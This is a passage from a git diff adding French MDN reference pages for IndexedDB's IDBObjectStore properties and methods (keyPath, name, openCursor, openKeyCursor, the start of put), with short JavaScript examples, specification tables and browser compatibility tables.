+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/keypath/index.html b/files/fr/web/api/idbobjectstore/keypath/index.html
new file mode 100644
index 0000000000..16e46308c8
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/keypath/index.html
@@ -0,0 +1,195 @@
+---
+title: IDBObjectStore.keyPath
+slug: Web/API/IDBObjectStore/keyPath
+tags:
+  - API
+  - IDBObjectStore
+  - IndexedDB
+  - Propriété
+  - Reference
+  - keyPath
+translation_of: Web/API/IDBObjectStore/keyPath
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>keyPath</code></strong> de l'interface {{domxref("IDBObjectStore")}} renvoie le <a href="/fr/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB#gloss_keypath">chemin de la clé</a> de ce magasin d'objet.</p>
+
+<p>Si cette propriété vaut <code>null</code> l'application doit fournir une clé pour chaque opération de modification.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var mykeyPath = objectStore.keyPath;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>N'importe quel type de valeur.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant, on initialise une transaction de lecture/écriture sur une base de données en ajoutant des données dans un magasin d'objets via la méthode <code>add()</code>. Une fois l'objet créé, on affiche <code>objectStore.keyPath</code> en sortie de la console. Pour un exemple complet et fonctionnel, vous pouvez utiliser notre application <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> (<a href="https://mdn.github.io/to-do-notifications/">tester la démo</a>).</p>
+
+<pre class="brush: js">// On commence par ouvrir la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Initialisation de la base.&lt;/li&gt;';
+
+  // On enregistre le résultat de l'ouverture
+  // dans la variable db afin de l'utiliser
+  // ensuite
+  var db = DBOpenRequest.result;
+
+  // On utilise la fonction addData() afin d'ajouter
+  // des données à la base de données
+  addData();
+};
+
+function addData() {
+  // On crée un nouvel objet prêt à être inséré
+  // dans la base de données
+  var newItem = [ { taskTitle: "Promener le chien", hours: 19, minutes: 30, day: 24, month: "Décembre", year: 2013, notified: "no" } ];
+
+  // On ouvre une transaction en lecture/écriture
+  // vers la base de données afin d'ajouter des
+  // données
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // On indique le succès de la transaction
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction terminée : modification finie.&lt;/li&gt;';
+  };
+
+  transaction.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction non-ouverte à cause d'une erreur. Les doublons ne sont pas autorisés.&lt;/li&gt;';
+  };
+
+  // On crée un magasin d'objet pour la transaction
+  // et on affiche KeyPath dans la console
+  var objectStore = transaction.objectStore("toDoList");
+  console.log(objectStore.keyPath);
+
+  // On ajoute l'objet newItem au magasin d'objets
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    // On indique le succès de l'ajout de l'objet
+    // dans la base de données
+    note.innerHTML += '&lt;li&gt;Un nouvel élément a été ajouté dans la base de données.&lt;/li&gt;';
+  };
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-keyPath', 'keyPath')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support<br>
+    simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partiel</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support<br>
+    Simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/name/index.html b/files/fr/web/api/idbobjectstore/name/index.html
new file mode 100644
index 0000000000..4fb4c3fbb7
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/name/index.html
@@ -0,0 +1,216 @@
+---
+title: IDBObjectStore.name
+slug: Web/API/IDBObjectStore/name
+tags:
+  - API
+  - IDBObjectStore
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBObjectStore/name
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>name</code></strong>, rattachée à l'interface {{domxref("IDBObjectStore")}}, indique le nom du magasin d'objets courant.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>nomDuMagasin</em> = <em>IDBObjectStore</em>.name;
+<em>IDBObjectStore</em>.name = <em>nouveauNom</em>;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une chaîne de caractères qui contient le nom du magasin d'objet.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Plusieurs exceptions peuvent être levées lorsqu'on tente de modifier le nom d'un magasin d'objets.</p>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Le magasin d'objets a été supprimé ou la transaction courante n'est pas une transaction de mise à jour : il est uniquemnet possible d'opérer un renommage lorsque le mode de la transaction est <code>"versionchange"</code>.</dd>
+ <dt><code>TransactionInactiveError</code></dt>
+ <dd>La transaction actuelle est inactive.</dd>
+ <dt><code>ConstraintError</code></dt>
+ <dd>Un magasin d'objets utilise déjà le nom qu'on souhaite employer.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le fragment de code qui suit, on ouvre une transaction en lecture/écriture pour la base de données et on ajoute des données au magasin d'objets grâce à la méthode <code>add()</code>. Une fois que le magasin d'objets a été créé, on inscrit la valeur de <code>objectStore.name</code> dans la console. Pour un exemple complet, voir notre application <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> (cf. également <a href="https://mdn.github.io/to-do-notifications/">la démonstration <em>live</em></a>).</p>
+
+<pre class="brush: js">// On ouvre la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Initialisation de la base de données&lt;/li&gt;';
+
+  // On enregistre le résultat de l'ouverture dans la variable
+  // db afin de l'utiliser ensuite.
+  db = DBOpenRequest.result;
+
+  // On exécute la fonction addData() afin d'ajouter des
+  // données à la base de données
+  addData();
+};
+
+function addData() {
+  // On crée un nouvel objet pour l'insérer dans la base
+  var newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // On ouvre une transaction en lecture/écriture
+  // afin d'ajouter les données
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // On gère le cas où la transaction est effectuée correctement
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction terminée : modification appliquée.&lt;/li&gt;';
+  };
+
+  transaction.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction non ouverte. Les doublons sont interdits.&lt;/li&gt;';
+  };
+
+  // On crée un magasin d'objets pour la transaction
+  var objectStore = transaction.objectStore("toDoList");
+  console.log(objectStore.name);
+
+  // On ajoute l'objet newItem dans le magasin d'objet
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    // On rapporte la réussite de l'ajout de l'objet en base
+    note.innerHTML += '&lt;li&gt;Nouvel élément ajouté dans la base de données.&lt;/li&gt;';
+  };
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-name', 'name')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop(16)}}</td>
+   <td>10</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(37)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Renommage possible via le mutateur <code>name</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(49)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(22)}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(37)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Renommage possible via le mutateur <code>name</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(49)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/opencursor/index.html b/files/fr/web/api/idbobjectstore/opencursor/index.html
new file mode 100644
index 0000000000..6109ea0611
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/opencursor/index.html
@@ -0,0 +1,193 @@
+---
+title: IDBObjectStore.openCursor()
+slug: Web/API/IDBObjectStore/openCursor
+tags:
+  - API
+  - IDBObjectStore
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBObjectStore/openCursor
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>openCursor()</code></strong>, rattachée à l'interface {{domxref("IDBObjectStore")}}, renvoie un objet {{domxref("IDBRequest")}} et, dans un <em>thread</em> séparé, renvoie un nouvel objet {{domxref("IDBCursorWithValue")}} qu'on peut utiliser pour parcourir un magasin d'objets avec un curseur.</p>
+
+<p>Afin de déterminer si l'opération s'est déroulée correctement, on pourra surveiller l'évènement <code>success</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var requete = ObjectStore.openCursor(optionalKeyRange, optionalDirection);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>range</code> {{optional_inline}}</dt>
+ <dd>Une clé ou un intervalle de clés ({{domxref("IDBKeyRange")}}) qu'on souhaite parcourir. Si une seule clé est passée en argument, l'intervalle utilisé pour le curseur sera restreint à cette seule clé. Si aucune valeur n'est passée pour cet argument, l'intervalle utilisé pour le curseur englobera tous les enregistrements du magasin d'objets.</dd>
+ <dt><code>direction</code> {{optional_inline}}</dt>
+ <dd>Un objet {{domxref("IDBCursorDirection")}} qui indique la direction de parcours du curseur. La valeur par défaut est <code>"next"</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBRequest")}} sur lequel seront déclenchés les évènements relatifs à l'opération.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut déclencher une exception {{domxref("DOMException")}} ayant l'un des types suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>L'objet {{domxref("IDBObjectStore")}} ou l'objet {{domxref("IDBIndex")}} a été supprimé.</td>
+  </tr>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>La transaction rattachée au magasin d'objets ({{domxref("IDBObjectStore")}}) est inactive.</td>
+  </tr>
+  <tr>
+   <td><code>DataError</code></td>
+   <td>La clé ou l'intervalle de clés indiqué est invalide.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans ce fragment de code, on crée une transaction, on ouvre le magasin d'objets souhaité puis on place un curseur pour parcourir tous les enregistrements du magasin d'objets :</p>
+
+<pre class="brush: js">var transaction = db.transaction("name", "readonly");
+var objectStore = transaction.objectStore("name");
+var request = objectStore.openCursor();
+request.onsuccess = function(event) {
+  var cursor = event.target.result;
+  if(cursor) {
+    // cursor.value contient l'enregistrement courant
+    // pendant le parcours, on peut éventuellement le manipuler ici
+    cursor.continue();
+  } else {
+    // il n'y a plus de résultats
+  }
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBIndex-openCursor-IDBRequest-any-range-IDBCursorDirection-direction', 'openCursor')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/openkeycursor/index.html b/files/fr/web/api/idbobjectstore/openkeycursor/index.html
new file mode 100644
index 0000000000..d5d23efe42
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/openkeycursor/index.html
@@ -0,0 +1,181 @@
+---
+title: IDBObjectStore.openKeyCursor()
+slug: Web/API/IDBObjectStore/openKeyCursor
+tags:
+  - API
+  - IDBObjectStore
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBObjectStore/openKeyCursor
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>openKeyCursor()</code></strong>, rattachée à l'interface {{domxref("IDBObjectStore")}}, renvoie un objet {{domxref("IDBRequest")}} dont le résultat sera un curseur ({{domxref("IDBCursor")}}) qui pourra être utilisé afin de parcourir les enregistrements correspondants. Cette méthode est utilisée afin de parcourir les clés d'un magasin d'objets grâce à un curseur.</p>
+
+<p>Afin de déterminer si le curseur a bien été ajouté, on pourra écouter l'évènement <code>success</code> sur le résultat de la méthode.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>requete</em> = <em>objectStore</em>.openKeyCursor(<em>optionalKeyRange</em>, <em>optionalDirection</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>optionalKeyRange</code></dt>
+ <dd>L'intervalle de clés qu'on souhaite parcourir. Si une seule clé est fournie, l'intervalle constitué ne contiendra que cette clé. Si aucune valeur n'est passée en argument, le curseur produit parcourera tous les enregistrements du magasin d'objets.</dd>
+ <dt><code>optionalDirection</code></dt>
+ <dd>Un objet {{domxref("IDBCursorDirection")}} qui indique la direction dans laquelle le curseur doit parcourir les évènements. La valeur par défaut est <code>"next"</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBRequest")}} sur lequel seront déclenchés les différents évènements relatifs à cette opération.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut déclencher une exception {{domxref("DOMException")}} ayant l'un des types suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>Le magasin d'objets ({{domxref("IDBObjectStore")}} ou l'index ({{domxref("IDBIndex")}}) a été supprimé.</td>
+  </tr>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>La transaction associée au magasin d'objet ({{domxref("IDBObjectStore")}}) est inactive.</td>
+  </tr>
+  <tr>
+   <td><code>DataError</code></td>
+   <td>La clé ou l'intervalle de clés indiqué est invalide.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le fragment de code suivant, on crée une transaction, on l'utilise sur un magasin d'objets donné puis on utilise le curseur pour parcourir tous les enregistrements du magasin d'objets :</p>
+
+<pre class="brush: js">var transaction = db.transaction("name", "readonly");
+var objectStore = transaction.objectStore("name");
+var request = objectStore.openKeyCursor();
+request.onsuccess = function(event) {
+  var cursor = event.target.result;
+  if(cursor) {
+    // cursor.key contient la clé de l'enregistrement courant
+    // à la différence de openCursor, il n'y a pas de cursor.value
+    cursor.continue();
+  } else {
+    // Il n'y a plus d'autres résultats
+  }
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB2', '#dom-idbobjectstore-openkeycursor', 'openKeyCursor')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatGeckoDesktop("44.0")}} [1]</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(35)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatGeckoMobile("44.0")}} [1]</td>
+   <td>10</td>
+   <td>22</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(35)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cette fonctionnalité était disponible depuis Firefox 27 via une préférence : <code>dom.indexedDB.experimental</code> qui était désactivée par défaut.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbobjectstore/put/index.html b/files/fr/web/api/idbobjectstore/put/index.html
new file mode 100644
index 0000000000..4122bd300f
--- /dev/null
+++ b/files/fr/web/api/idbobjectstore/put/index.html
@@ -0,0 +1,229 @@
+---
+title: IDBObjectStore.put()
+slug: Web/API/IDBObjectStore/put
+tags:
+  - API
+  - IDBObjectStore
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBObjectStore/put
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
